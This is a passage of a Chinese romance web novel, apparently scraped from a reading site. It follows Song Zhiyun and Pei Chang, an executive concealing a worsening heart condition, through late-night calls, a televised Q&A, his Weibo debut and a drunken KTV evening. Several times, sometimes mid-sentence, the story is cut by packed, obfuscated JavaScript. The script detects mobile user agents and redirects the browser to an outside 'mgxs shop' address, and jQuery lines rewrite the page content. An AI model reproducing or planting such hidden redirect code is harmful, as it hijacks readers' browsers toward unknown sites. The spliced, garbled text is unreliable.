l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482902|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“最近胃口一般,可能是瘦了点。” 菜是宋知蕴提前做了攻略,点的都是清淡养胃的品类。 老火靓汤端上来时,她先盛了一碗,顺手推到裴昶面前,“先喝点汤暖暖。” 裴昶看了她一眼,没说什么,拿起碗低头喝了一口。 汤的热气氤氲上来,在他眉眼间笼了一层薄薄的雾气。 “好喝吗?”宋知蕴问,语气里带着点小心翼翼的期待。 “嗯,不错。”他点了点头,又喝了两口。 宋知蕴嘴角翘了翘,给自己盛了一碗。 吃到后半段,裴昶靠在椅背上,听她讲电视台最近接的新项目,偶尔插两句话。 宋知蕴讲着讲着,忽然停下来,盯着他看。 “怎么了?”裴昶被她看得有些不自在,端起茶杯抿了一口。 “没什么,”她低下头,用筷子戳着碗里的菜,声音小了下来,“就是觉得……有点怀念。” 空气安静了几秒。 裴昶没有接话,只是把茶杯放下。 宋知蕴酝酿着,吸了口气,抬起头看他。 “裴明彻,我们重新在一起,好不好?”她知道可能会被再次回绝,可还是没忍住。 这句话说出来的时候,她心跳不由得加快,手心也微微出了汗。 裴昶的睫毛颤了颤,没有立刻回答。 他垂眸,喉结微微滚动了一下。 “芝芝”,他开口,声音比平时更低了些,带着一种近乎克制的平静,“我之前说过了。” “我知道”宋知蕴打断他,眼眶已经有些泛红。 接着又执拗的来了句:“你说你不能复合。可是你明明……” 剩下的后半句话卡在了喉咙里,没说。 你明明还喜欢我,为什么不承认,宋知蕴在心里想着。 裴昶抬眸,眼神中带着些复杂的情绪。 “你也知道我现在的身体情况”,他说得很慢,像是每个字都斟酌了很久。 “很多简单的事情,我都没办法陪你做,你值得更好的。” “我不在乎这些!”宋知蕴有些急了,他话音刚落便接了上去,声音里带了几分委屈的倔强。 “不行。”裴昶拒绝得干脆又坚定,没有留任何商量的余地。 …… 回去的路上,两个人谁都没说话。车厢里安静得只剩下隐约能听见轮胎碾过路面的声响。 宋知蕴望着窗外倒退的街灯,忽然想起他们在一起的那个冬天。 裴昶牵着她的手塞进大衣口袋里,笑着说“手怎么这么凉?来,放在我这暖暖”。 “到了”,裴昶出声打断了她的思绪。 她回过神,发现车已经停在了小区门口。 宋知蕴解了安全带,转过身看他。 车里没开灯,路灯透过玻璃照进来,他的脸半明半暗,看不出表情。 “裴昶,”她叫他。 “嗯?” “你明明还喜欢我。”宋知蕴声音很小,却也没有逃过他的耳朵。 她没有等他回答,推开车门走了下去,背影很快消失在小区门口。 裴昶坐在车里没有动,看着她越走越远。 喜不喜欢,都不重要了,他自嘲地扯了扯嘴角。 11. “怕挂了你会醒。” 虽然那晚闹得有些不愉快,但宋知蕴和裴昶的联系并没有断。 消息还是照常发,偶尔聊几句工作。 裴昶回复的速度和从前一样,时快时慢。 宋知蕴害怕裴昶把她推得更远,不敢再提复合的事情。 两个人就这么一直维持这种微妙关系。 —————— 日子一天天过去,转眼就过了一个星期。 京市的冬夜来得早,六点不到天就黑透了。 寒风从窗缝里钻进来,暖气片发出细微的咕噜声。 宋知蕴裹着被子翻来覆去,时针已经走过凌晨两点,她却丝毫没有半点睡意。 无奈之下拿起手机刷了几分钟,最后没忍住点开了那个熟悉的聊天框。 犹豫了几秒,她打字发过去:“睡了吗?” 消息发出之后,宋知蕴看了眼时间,凌晨两点十七分。 这个点他应该早就休息了吧。 正打算放下手机,屏幕却亮了。 “还没有。”裴昶秒回。 宋知蕴有些意外:“怎么还没睡?” 对面隔了几秒才回过来:“刚躺下。” 裴昶已经断断续续烧了好几个小时。 下午在公司他觉得额头发沉,撑到把手头的工作处理完才叫了苏衡送他回家。 家庭医生来量了体温,三十八度四。说应该是最近太累了,免疫力下降,开了药嘱咐多休息就走了。他送走医生,强撑着洗漱完,刚躺上床,手机就震了。 宋知蕴咬了咬嘴唇,手指在键盘上停了片刻,还是把这条信息发了出去:“我睡不着,可不可以给你打个电话?” 她又觉得有些唐突,正想补一句“不方便就算了”,屏幕上已经弹出了语音通话的请求。 她愣了下,指尖划过接听。 “喂。”电话那头,裴昶的声音比平时低沉了些,带着点沙哑。 他把手机贴在耳边,床头柜上还放着剩的退烧药和半杯水。 他伸手想把杯子推远,却又不想让她听见太大的动静,只能尽量让自己的呼吸听起来平稳些。 “我是不是吵到你了?”宋知开了免提,说话声音放得很轻。 “没有。”他顿了顿,又问,“怎么了,睡不着?” 裴昶额头上还贴着退热贴,他的声音从听筒里传来,轻柔平稳,不仔细听根本察觉不出异样。 “嗯。”宋知蕴翻了个身,“躺了好久,就是没有睡意。” 电话那头安静了几秒,裴昶正把退热贴从额头上撕下来,怕塑料纸窸窣的声响被她听见。 他把退热贴折好压在枕头底下,才重新拿起手机。 “裴明彻,”宋知蕴犹豫了一下,“你是不是准备休息了?” “是。”他倒没有否认。 “那你……”她话还没说完,那头的声音又响了起来。 “没关系。”温和的声音从听筒里传来,“说吧。” 宋知蕴想了想,有些不好意思的说:“我失眠了,能不能找你要个讲故事福利?” 她还记得之前恋爱时,自己偶尔会缠着裴昶讲故事哄她睡觉。 听到她这句话的时候,裴昶的嘴角弯了一下。 “好。”他靠回枕头上,烧还没退,身上一阵阵发冷,“想听什么?” 宋知蕴把脸埋进枕头里,声音闷闷的:“你小时候的事吧,没听你说过。” 裴昶沉默了几秒,像是在回忆。 打开免提,找了个更舒服的姿势。 “我小时候其实还挺幸福的。”他语速不紧不慢,“家里人对我和妹妹都很好。我妈还在的时候,每年冬天都会给我们织毛衣。她手很巧,我和妹妹过年穿出去,邻居阿姨还会拉着我们看,问是在哪家店买的。” “我爸工作忙,但周末尽量会抽时间陪我们。”他继续说着,声音里带着一点淡淡的笑意。 “小时候我爸教我下围棋,我总是输。输了我就偷偷耍赖,要么悄悄把棋子换了,要么趁他倒水的时候多走两步。他也不生气,回来看了一眼棋盘,装作没发现。” 宋知蕴忍不住笑了:“你小时候还挺皮的。” “是有点。”他承认得倒是坦荡。 “有一回我妹妹来观战,看不下去我耍赖,就跑去跟我妈告状。我妈从厨房着一盘水果走过来,说了句:‘你小子,跟你爸下棋还耍赖,出息。’我正想和她辩解,结果嘴里被塞了块苹果,她说‘吃你的,别吵’。” 宋知蕴被逗笑了,说:“你妈妈好温柔。” “嗯。”裴昶的声音轻了几分,“她确实是个很温柔的人。” “后来大一点,家里给报了不少兴趣班。”他顿了顿,“钢琴、书法、围棋、摄影,什么都学了一点。” “是你自己想学的,还是家里要求的?”宋知蕴问。 “是自己想学的。”他说。“我爸妈从来不会强迫我们学不喜欢的东西。我小时候看到什么都好奇,每次回家就说想学这个想学那个,我妈会说‘行啊,你先去试试,喜欢就继续,不喜欢就不学了’。” “难怪你会的东西这么多,那你试完之后都坚持下来了吗?” “大部分都坚持下来了。”他说,“不是因为要学出什么名堂,就是觉得挺有趣的。” “那你有没有试过之后不喜欢的?”宋知蕴好奇。 “有啊。”裴昶想起了什么,笑了笑,“我学过一阵子大提琴。拉了几天,我妹妹听不下去了,跑去找我妈说:‘妈,你能不能让哥别再折磨我的耳朵了?家里天天像工地一样,一到晚上全是锯木头的声音。’我妈哭笑不得,跟我说:‘儿子,咱换一个吧,你不是这块料。’” 宋知蕴脑补出了画面,被逗得笑出声。 他大概只适合理性一点的的东西吧,裴昶心里想。大提琴要的是对音准的感觉,自己在这方面还有些欠缺。 “那你后来就放弃了?” “嗯,就是发现自己确实不太擅长。”他说。 “你爸妈真的很好。”她说。 裴昶有些怀念,“他们一直这样。我妹妹小时候想学芭蕾,学了半年说脚太疼不学了,过了一个月她又想学跆拳道,我爸想都没想就同意了。好不容易她坚持了三个月,跑去参加跆拳道比赛,拿了个第三名回来,高兴得在客厅里拿着金牌跟我爸妈炫耀。我爸还在旁边一个劲捧场。” 宋知蕴笑得肩膀都在抖:“哈哈哈,你妹妹好可爱。” “是挺可爱的。”裴昶也笑了,“后来她长大了,说小时候最感谢的就是爸妈从来不逼她。” 这句话说完,两个人都安静了一会儿。 “裴明彻。”宋知蕴轻声叫他。 “嗯?” “你小时候有没有做过什么特别傻的事?” 电话那头沉默了一瞬,然后传来一声低低的笑。 “有。”他说,“有一年冬天,下了很大的雪。我和妹妹在院子里堆雪人,堆到一半手套湿了,她嫌冷不想弄了,跑回屋里去了。我觉得那个雪人已经堆了一半,不堆完太可惜了。就把手套换给她,自己光着手继续堆。” “你不冷吗?” “冷。”他老老实实承认,“冻得手指通红,没知觉了,但我还是坚持堆完了。” “然后呢?” “然后第二天出太阳了,雪人化了。”他语气里带着一丝无奈,“我站在窗台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听筒里传来均匀绵长的呼吸声。 裴昶把手机放在枕头旁边,没有挂断电话。 闭上眼睛,身上还是有些不舒服。 —————— 宋知蕴是被窗帘缝隙里透进来的光晃醒的。 她迷迷糊糊地睁开眼,发现手机手机屏幕还亮着。 她愣了一下,把手机拿到面前看了看。通话还在继续。 她试探着开口:“裴明彻?” “嗯。”那边很快应了一声,听起来像是刚醒不久。 “你怎么没挂?”宋知蕴有些不好意思地揉了揉眼睛。 “怕挂了你会醒。睡醒了?”他说。 宋知蕴看了眼通话时长,应道:“醒了。” 两人又寒暄了几句,宋知蕴才依依不舍的挂了电话。 她退出聊天框,点进备注名的编辑页面。光标在“攻略对象”四个字后面闪了几下。 宋知蕴想了想,把备注改成了「15Hz」①,嘴角的弧度怎么也压不下去。 挂了电话后,裴昶把手机放下,靠在床头缓了一会儿。 退烧药的药效已经过了,额头又开始发烫。他伸手摸了一下,大概又烧起来了。 床头柜上的水已经完全凉了,他端起来喝了一口。 又从拿出两粒药,就着凉水咽了下去。 苏衡发来消息,问他情况怎么样,需不需要过来一趟。 裴昶回了句“没事,休息一下就好”,然后把手机调成静音,重新躺回床上。 12. “有没有特别喜欢的人?” 《碰面》两周年特别篇播出那天,在网络上掀起了一阵热潮。 尤其是节目组官博发布了趣味问答视频后,点赞量竟然在短时间内破了800万。 #明明可以靠脸吃饭裴昶非要靠实力# #裴昶三十二# #裴昶什么时候进军娱乐圈?# #裴昶要开微博了# #裴昶择偶标准# 等一众词条更是直接冲上热搜榜,后面标记着红到不能再红的“爆”字。 不只是网上,电视台内部一样热火朝天。 节目组的微信群里,导演带头祝贺,约着晚上庆功聚餐。 宋知蕴这会刚点开微博热搜榜,看见清一色带着裴昶名字的词条后,随手点了进去。 进入界面后显示在最顶端的那条微博就是节目组官博发布的问答视频。 视频中,裴昶比正式节目中多了几分随性。 他靠在椅背上,整个人看起来松弛又自然。 屏幕里,宋知蕴的声音响起来:“接下来是趣味问答环节,这些问题都是从网友投稿中筛选出来的。裴总,准备好了吗?” 裴昶微微侧头,笑了笑:“请开始吧。” “第一个问题,”宋知蕴低头看了一眼提示卡,“网友想知道,您今年多大了?” 裴昶转过头,有些惊讶地看着宋知蕴,眉梢轻轻挑起:“网上查不到这个信息吗?” “节目组已经提前试过了,”宋知蕴接话很快,“不只是年龄信息,甚至连张高清正脸照都没有。” 裴昶愣了一下,随即失笑,眼角的泪痣随着笑意微微晃动:“是吗?这倒是我知识盲区了。” 他顿了顿,开口:“我还没过三十三岁生日。” “至于照片,”他指了指镜头,唇角微弯,“那现在不是有了?” 宋知蕴被他的反应逗笑了,眉眼弯弯地摇了摇头,说:“第一个问题裴总已经解答啦,他今年三十二岁。” “等到三十三岁,”裴昶接话,眼里带着笑意,“再跟观众朋友们汇报。” 弹幕瞬间刷屏—— 「哈哈哈哈哈哈汇报可还行」 「他好会啊」 「三十三到了记得汇报+1」 「三十二岁,事业有成,长这样,老天爷你是不是有点偏心」 宋知蕴翻到第二个问题,语气不自觉软了些,“有没有特别喜欢的人?或者……择偶标准是什么?” 裴昶沉默了两秒,认真思考着。 “特别喜欢的人……”他语速不快,但声音格外清晰,“暂时不方便透露。” 弹幕又炸了—— 「不方便透露???那就是有???」 「我失恋了姐妹们」 「别急,他说不方便透露,可能只是不想说」 「妈妈我好像闻到瓜的味道了」 宋知蕴握着提示卡的手紧了紧,指尖泛出一点白。 她维持着面色,声音依旧平稳:“那择偶标准呢?” 裴昶看了她一眼,很快移开目光重新看向镜头。 “其实没有什么太高的要求,”他语气很随意,“不需要家世有多显赫。” 他略微停顿,接着又道:“主要还是看相处的感觉。” “您还可以说得具体一点吗?”宋知蕴追问。 他缓缓补充:“性格合拍,有共同话题,就挺好的。” “这么简单?”宋知蕴也从未问过他的择偶标准,听完他的话也有些惊讶。 “嗯,其实就这么简单。”裴昶笑着点头。 弹幕大军再次袭来—— 「看感觉才是最难的啊啊啊」 「姐妹们别想了,这种级别的男人,不是我们可以拥有的」 「楼上清醒」 宋知蕴没有再追问,直接开启了下一个话题,“裴总的爱好是什么?平时空闲的时候喜欢做什么?” “我的爱好还挺多的。从小到大好奇感兴趣的东西我会去学一学。” “书法、钢琴、围棋……很多门类都学过。坚持最久的应该是摄影。”他答。 “除了摄影还有别的吗?”宋知蕴问。 “空闲时间还喜欢自己做菜、做甜品,”裴昶接着往下答,语气随意,“挺有成就感的。” 听到“甜品”两个字,宋知蕴瞬间回忆起了那天的芋泥蛋糕。她嘴角不自觉地弯了弯,很快又压了下去。 “至于其他方面,我这两年在学习调香,挺有意思,是个新的尝试。” 「书法钢琴围棋摄影做饭调香……他还有什么不会的?」 「我还以为裴总的性格小说里的霸总一样严肃单调,长见识了」 「等等,他说做甜品?裴总会做甜品???」 “问答环节结束啦,”宋知蕴的声音重新响起,带着点俏皮,“我想替观众朋友们求个福利。裴总能不能开通微博,多发点照片和日常?”她眼里带着点笑意,期待地看着他。 裴昶觉得这也不是什么难事,倒是答应得爽快。 “好,”他语气干脆,“回头注册一个。” 「啊啊啊啊啊啊啊他答应了!!!」 「回头注册一个,他好宠啊」 「妈妈我是不是在做梦」 「姐妹们准备好,裴总即将驾到」 宋知蕴刚关掉视频,徐穗宁就从身后冒了出来,一把揽住她的肩膀。 “你俩这也太好嗑了吧!”徐穗宁激动得声音都高了些。 “什么好嗑,”宋知蕴把手机收起来,装作漫不经心地把屏幕朝下扣在桌上,“正常采访而已。” “正常采访?”徐穗宁凑近了些,盯着她的脸看,“你确定?” 宋知蕴没说话,端起桌上的水杯喝了一口。 “说到‘不方便透露’的时候,”徐穗宁压低声音,凑到她耳边,“他看你了,你发现没有?” 宋知蕴微微偏过头,有些心虚,“没有。” “少来,”徐穗宁戳她胳膊,笑得意味深长。 “你肯定看到了。你俩对视了好吗?我在监视器后面看得一清二楚。” “行了行了,”她推着徐穗宁往电梯走,耳根悄悄染上一层薄粉,“晚上庆功宴,你去不去?” “去啊,当然去,”徐穗宁挽住她的胳膊,“我得好好采访采访你,跟裴昶同台是什么感受。” “你能不能正经点?” “不能。”徐穗宁理直气壮。 两人说说笑笑地进了电梯。 —————— 这会儿,裴昶正坐在酒店套房的办公桌前,处理文件。 桌面上的水已经凉透了,他也没顾上喝一口。 苏衡敲门进来,手里拿着手机。 “裴总,”他把手机递过去,“微博注册好了。” 裴昶接过来看了看。 ID很简单:裴昶。 “要不要发点什么?”苏衡问。 裴昶指尖在键盘上敲了几下,编辑了一条微博。 「大家好,我是裴昶。应节目组的邀请注册了微博,以后请多关照。」 配图是一张他拍的风景照——雪山脚下蓝得透亮地湖水映着远处的山峰。 微博发出去不到十分钟,粉丝数破了五十万。 评论大军以肉眼可见的速度增长。 「第一!!!」 「裴总真的来了!!!」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482904|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>「风景照好好看,是裴总自己拍的吗?」 「求自拍求自拍求自拍」 「从热搜过来的,裴总好」 #裴昶入驻微博#这个词条毫无悬念地冲上了热搜第一。 餐桌上,宋知蕴的手机震了一下。 她点开微博,看到那个刚注册的账号。 她截了图,发送给置顶的那位联系人。 ‘裴明彻,你第一条微博就这么多赞,果然比明星热度高。’ 她又想到了什么,指腹在键盘上敲了一串文字‘照片是你拍的?’发了出去。 ‘嗯,去年在瑞士拍的。’ ‘很美。’ —————— 庆功宴结束以后,宋知蕴回到家,沐浴完躺在床上。 她盯着和裴昶的聊天框看了好一会儿。 犹豫着,还是按下了视频通话的按钮。 大约过了五六秒,那边接了。 屏幕里,裴昶穿着深色的家居服,坐在办公桌前。身后的落地窗可以清晰的看见城市的夜景。 “还没休息?”裴昶声音透过扬声器传过来,语气依旧温和。 “刚到家不久,”宋知蕴把手机靠在枕头边,侧躺着看他,“你呢?还在忙?” “嗯,”裴昶点了点头,目光在文件上停留了片刻,又抬眼看她,“有个合同要过一遍,快好了。” “你什么时候出差回来?”她问。 “这个项目比较复杂,可能还要一个星期左右。”裴昶说着,将文件翻了一页。 “一个星期啊……”宋知蕴嘟囔了一句。 裴昶手上的动作顿了顿,“怎么了?” “没什么,”她把脸往枕头里埋了埋,声音闷闷的。 两个人安静了几秒,谁都没说话。 宋知蕴看着正在低头处理文件的人,灯光打在他的侧脸,落下一层暖黄色的光晕。 裴昶的睫毛很长,垂眼的时候在眼下投出一小片扇形的阴影。 “裴明彻。”她轻声叫他。 “嗯?”他应得很快,声音里带着点询问的意味。 “今天节目播出,反响挺好的。” “看到了,”他放下了笔,语气里带着点笑意,“托你的福,我也当了一回热搜常客。” 宋知蕴被逗笑了,眉眼弯弯,“趣味环节怎么样?” 裴昶道:“比想象中有意思。” “真的假的?”宋知蕴有些不信,眉毛微微挑起,“你不会是在安慰我吧?” “真的,不过有些问题还挺刁钻。”裴昶说。 “那你可是没见识过广大网友的威力。” “你今天工作累不累?”她换了个话题。 “还好,”裴昶拿起桌上的水喝了一口,“开了几个会,没什么特别的事。” “你呢?”他反问,“庆功宴怎么样?” “挺热闹的。导演喝多了,拉着我说了好半天的话,说这期节目是他职业生涯的高光时刻。” 裴昶笑了笑,“那以后一定有更多高光时刻。” 宋知蕴被他的话逗乐了:“对我们节目这么有信心?” “当然,芝芝的实力不用多说。”裴昶声音轻了些。 宋知蕴没想到会被他这样夸奖,心跳不由自主地漏了一拍。 她张了张嘴,不知道该些什么。 “时间不早了,你早点休息。” “你也是,别熬太晚。”宋知蕴回他。 “好。” 宋知蕴盯着屏幕里脸,想了想开口:“裴明彻。” “嗯?” “晚安。” 那头的人唇角弯了弯,柔声:“晚安,芝芝。” 13. “裴明彻,来接我。” 裴昶出差的这一个多星期,两人的消息往来还算正常。 虽不比从前频繁,倒也没断了联系。 期间裴昶更新了一次微博。 这是一组四宫格。 画面里的几座高楼被夕阳镀成了金色,远处有几只鸟掠过天际。 配文只有很简单的两个字:「傍晚」 微博发出去不到半小时,评论区就炸了。 「裴总这是在哪个城市?」 「好看!!!裴总能不能多发点」 「这色调绝了,求相机型号」 「裴总用的什么相机啊」 「只有我注意到裴总拍照技术真的很好吗」 「楼上你不是一个人」 晚上,裴昶处理完手头上的工作后打开微博。 微博下点赞最高的是询问他相机型号的评论。 于是裴昶随手回复:「哈苏X2D」 这条回复一出,评论区更热闹了。 「有品位啊!!!」 「查了一下价格,我沉默了」 「裴总是不是和小说喜欢摄影的男主一样有相机墙?」 裴昶看到“相机墙”三个字的时候愣了一下。 他接触摄影的时间比较久,这些年陆陆续续入手了不少相机,家里确实专门做了一个柜子来放。 他想了想,打字回复:「相机墙是有。」 这条回复让评论区彻底沸腾了。 「真的有???」 「求裴总展示相机墙!!!」 「想看想看想看」 「裴总能不能拍给我们看看」 裴昶正准备放下手机,又一条评论被顶了上来。「裴总现在方便拍吗?好想看!」 于是裴昶耐着性子回了条:「现在在外面出差,相机墙在家里,有机会再和大家分享。」 「期待裴总的相机墙!!!」 「蹲一个后续」 裴昶退出微博,打开微信。 置顶聊天框里,宋知蕴发来了一条消息。 ‘你发微博了?’ 裴昶点开对话框,打字:‘嗯,下午刚发。’ ‘我看到啦,是在出差的城市拍的吗?’ ‘是。前两天觉得好看就顺手记录一下。’ ‘裴老师的摄影技术还是一如既往的好。’ 裴昶看着“裴老师”三个字,笑了笑。 ‘今天工作不忙?’宋知蕴那头接着又发了一条消息。 ‘刚忙完,正准备吃饭。你呢?’ ‘吃过了。出差顺利吗?’ ‘总体进度不错,再过两三天就能回去了。’ ‘好。’发完后宋知蕴又想了想,接着又补了一句:‘记得按时吃饭,别总忙起来就忘了。’ 裴昶看着这条消息,指腹在屏幕上停了一会儿。 ‘好,你也是。’ —————— 裴昶回国那天给宋知蕴发消息,说自己到了。 宋知蕴回了个欢迎回来的表情包,想着等他安顿下来再聊。 可那之后,裴昶的回复速度慢了很多,常常半天没有动静。 宋知蕴告诉自己,裴昶刚出差回来,工作积压得多,忙是正常的。 其实回国第二天,裴昶就在公司晕倒了。 出差那几天行程排得太满,他连轴转了一个多星期,回来之后又马不停蹄地跟进后续工作,几乎没怎么合过眼。 那天晚上裴昶在办公室里加班,站起来去倒水的时候眼前一黑,整个人栽了下去。 苏衡冲进来的时候,他已经躺在地上意识模糊了。 那天上午宋知蕴连着发了两条消息给他,一直等到晚上都没有回复。 宋知蕴想了想,决定再发一条问他在忙什么,可也一样落了空。 裴昶醒来的时候已经是第二天早上,他看着手机上宋知蕴发来的消息。 在对话框里打了几个字,又删掉。最后他只发了一句:‘抱歉,昨天太忙了,没顾上看手机。’ 他身体底子本来就不好,车祸后心脏的后遗症像一颗定时炸弹。这次检查后发现情况恶化了,需要尽快手术。因为手术风险高,医生找他谈了很久。裴昶很配合,当即办了住院,等着排期手术。 宋知蕴收到回复后,盯着手机看了很久。 想了想,打了个,‘没事,你注意休息’,发了出去。 她靠在椅背上发呆。道理她都懂。他们现在不是男女朋友,裴昶没有秒回的义务。 —————— 宋知蕴连着两天状态不佳,徐穗宁都看在眼里。 于是周五晚上她约了李莎和几个关系不错的同事,组了个K歌局。 这家KTV的菜味道不错,几个人边吃边唱,气氛热烈。徐穗宁这会刚咽下嘴里的烤鱼,拿着麦克风继续唱起来。 她们点的大多是五月天、凤凰传奇、蔡依林的歌,每个人都能接上几句,包厢里笑声不断。 话筒传到宋知蕴这里时,屏幕上正好切到下一首歌。 不知道是谁点了《十万毫升泪水》,前奏出来时宋知蕴愣了一下。 这首歌她很熟,歌词几乎要刻在脑子里。 她没有切歌,开口唱了起来。 “满意了吗,你究竟有完没完;你烦不烦,总考验我多勇敢……” 她的声音不算大,却把包厢里的喧闹一点点压了下去。 徐穗宁放下手中的烤串,李莎也安静了,几个人面面相觑,谁都没说话。 宋知蕴越唱越投入,那些歌词一句一句字砸向心口。 唱到副歌的时候,她的眼眶开始发酸,实在没忍住,眼泪顺着脸颊滑下来。 唱完最后一句歌词,宋知蕴低着头假装整理头发,飞快地抹了把脸。 徐穗宁没说话,只是递了张纸巾过来。 宋知蕴接过来,胡乱擦了擦,挤出一个笑:“没事,唱得太投入了。” 几个人心照不宣地没追问,话题很快岔开了。 李莎切了首嗨歌,气氛又重新热闹起来。宋知蕴没再拿起话筒,而是默默坐到角落里,伸手拿过桌上的啤酒,往嘴里灌。 冰凉的液体滑过喉咙,呛得她咳了两声。 徐穗宁在旁边看着,皱了皱眉头,没有拦她。 她们来得早,散得也早,还没到十二点就已经各自叫了车回家。 临走前,李莎看着包厢里的两人,指了指靠在徐穗宁肩膀上的宋知蕴问:“你可以吗?需不需要我帮忙?” 徐穗宁摇了摇头,回了个笑:“没事的,我能搞定。你先回去吧,莎莎姐。” 李莎还是不放心地看了她们一眼,见她给了个安心的表情,这才拎起包,“那我先走了哈,你们路上小心。” “你也是,莎莎姐。”徐穗宁挥了挥右手朝她做了个再见的动作。 包厢门重新关上后,徐穗宁叹了口气,无奈地看着靠在自己肩膀上的人,轻轻叫了她一声。 “嗯?”宋知蕴酒量一般,今天晚上没控制住,喝的有点多了,此刻只觉得脑袋有些发胀。 “几点了?”因为喝了酒的缘故,她吐字有些含糊。 “快十二点了”徐穗宁顿了顿,对着她说,“你说你啊,干嘛突然喝这么多。” 宋知蕴开始连续打起嗝来,一时半会根本刹不住车。 徐穗宁见这样赶紧帮她顺气,生怕下一秒吐出来。 好不容易止住了嗝,宋知蕴开始不依不饶的发牢骚。 “你叫我追他,我真的很努力了!我,我……”她边说边掏出放在徐穗宁手上,心里那点委屈劲儿一下子往上涌,“你看,你看他。” “我觉得是我自己又自作多情了”,她的语气里全是失落。 徐穗宁翻了翻她们的聊天记录,虽然裴昶每次都有回复,但是最近的消息确实少了很多。 最后一条甚至停留在了昨天。 宋知蕴回了一个晚安的表情包后,她没有再发任何信息,裴昶那里也没有动静。 徐穗宁挠了挠头,一时之间不知道怎么开口。 “你说,他这样到底是什么意思?”宋知蕴越想越觉得莫名其妙。 “他也和你说了出差回来工作忙,屹恒那么大,工作强度肯定不是我们能想象的。”照之前的相处,徐穗宁觉得裴昶对宋知蕴态度不可能是装的,于是开口帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天早上又烧起来一回,他昏昏沉沉了一整天,这会儿刚醒。 手背上的留置针连接着输液管,透明的液体正一滴一滴往下坠。 床头柜上的私人手机突然震动起来。 他偏头看了一眼屏幕,备注名亮着——“芝芝”。 裴昶伸出另一只没扎针的手,把手机拿过来,接听。 宋知蕴没想到他会接的这么快,酝酿了几秒,出声:“裴明彻。” “嗯,我在听。”他回。 裴昶尽力控制着,试图让自己的声音听起来不那么低哑。 宋知蕴那头似乎没有听出异常,他话音刚落又说:“来接我。” 裴昶想都没想就答:“好,在哪?” “在,在……”她脑袋有些迟钝,一时之间想不出来怎么说。 徐穗宁在一旁听的急了,接过电话,帮她善后:“裴昶,我是徐穗宁。知知喝多了,我们现在在乐巢,定位我一会用她手机发给你。” “好,我马上过去。” “行。”徐穗宁掐断了电话,转头看了眼靠在自己肩上迷迷糊糊的宋知蕴。 心想,这两人可真够折腾人的。 裴昕玥因为有工作要忙,傍晚来了一会儿,给裴昶带了饭,看着他吃完就回去了。 他家里没什么亲人,苏衡实在放心不下,便一直坐在沙发上守着。 苏衡没有出声,听裴昶挂了电话,才开口问他:“是知蕴打来的?” “嗯,她喝醉了,可能得麻烦你陪我出去一趟。”裴昶有些着急,准备掀被子。 他烧还没退,苏衡赶忙过去扶他:“慢点,你先换衣服,我去和医生说。” “好。”他病中浑身无力,就连换件衣服都觉得费劲。 苏衡没出去多久便回到了病房。此刻,裴昶已经换上了常服,坐在床上。 “走得了吗?”他这几天状态不好,苏衡怕他逞强。 裴昶连起身都费劲,实在没法硬撑,坦然摇了摇头。 14. “好,等我。” 这会,徐穗宁搀扶着宋知蕴站在乐巢门口。 看到熟悉的车辆停下后,她冲那处招了招手。 下来的是苏衡,他远远就瞧见了这边的状况,看清方向后快步走来。 宋知蕴嘀嘀咕咕嘴里还在念叨着什么,直到脚步声越来越近她才噤了声,慢吞吞地抬头。 “苏衡哥,怎么是你?裴昶呢?”宋知蕴向他靠近了两步,眼神迷蒙,说话也有些口齿不清。 “你小心点。”她走的歪歪扭扭,整个人重心不稳地往一边倾斜,徐穗宁在一旁死死扶着,手心都沁出了汗,生怕一个不小心让这位祖宗就摔了个结实。 “没事,我来吧。”苏衡看徐穗宁有些吃力,自然地走到宋知蕴另一边,稳稳地扶住她的胳膊。 徐穗宁投来了一个感谢的眼神,这祖宗要是再闹腾两下,自己的老腰可受不起。 “明彻在车上,我扶你去找他。”苏衡耐心地说,语气温和得像在哄小孩,打算带她往前走。 “好,出发!”宋知蕴突然举起一只手,声音拔高了八度,做了个向前冲的手势, 苏衡没见过宋知蕴醉酒的样子,被她逗笑了。 徐穗宁在一旁扶额。谁家的闺蜜,快领走!丢人都丢到家了。 “要不要一起走?” 徐穗宁摇了摇头,拒绝,“不麻烦啦,我约了车。”她心里门儿清,这种时候还是留一点空间让他们自己发挥比较好。 “那我们先走了,徐小姐路上注意安全。”宋知蕴不太安分地动了动,苏衡有些没办法,只好顺着她的动作小心翼翼地扶着。 “嗯,麻烦你啦。”徐穗宁冲他们挥挥手,看着两人的背影越来越远。 晚风吹起宋知蕴的裙角,她走得跌跌撞撞,苏衡耐心地护在她身侧,时不时伸手拉她一把。待走到离车不远的地方时,宋知蕴却突然在原地停下了脚步。 “怎么了?”苏衡好奇地低头看他。 “苏衡哥,不用扶我”,她突然转过头,脸上绽开一个大大的微笑,“我可以,我可以自己走。” 说完她从苏衡怀里退出来,歪歪扭扭地朝前走。 苏衡也没敢真的放手,紧跟在她屁股后面护着,生怕裴昶的宝贝磕了碰了。 等宋知蕴摸索着打开车门坐上车,苏衡才松了口气,觉着这一小段路走了好久。 